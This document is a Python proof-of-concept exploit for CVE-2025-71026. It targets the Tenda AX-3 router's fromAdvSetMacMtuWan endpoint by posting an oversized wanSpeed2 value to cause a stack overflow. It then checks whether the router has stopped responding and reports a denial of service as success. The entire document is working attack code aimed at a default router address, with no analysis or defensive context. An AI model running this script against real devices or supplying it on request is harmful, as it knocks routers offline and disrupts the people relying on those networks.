CVE-2025-71026

import requests # CVE-2025-71026 PoC - Tenda AX-3 Stack Overflow in fromAdvSetMacMtuWan # Target: Tenda AX-3 router (wanSpeed2 parameter) target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 # Generate payload with excessive length to trigger stack overflow # The exact overflow length may vary, typical stack overflows need 100+ bytes payload_length = 500 payload = "A" * payload_length def exploit_cve_2025_71026(): """ Exploit function for CVE-2025-71026 Tenda AX-3 fromAdvSetMacMtuWan wanSpeed2 parameter stack overflow """ url = f"http://{target_ip}:{target_port}/fromAdvSetMacMtuWan" # Construct POST data with overflowing wanSpeed2 parameter data = { "wanSpeed2": payload, # Other parameters may be needed "wanMac": "00:00:00:00:00:00", "mtu": "1500" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.post(url, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response text: {response.text[:200]}") # Check if router is still responsive check_url = f"http://{target_ip}:{target_port}/" try: check_response = requests.get(check_url, timeout=5) print("[-] Router still responsive") except: print("[+] Router appears to be DoSed - exploit successful") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": exploit_cve_2025_71026()

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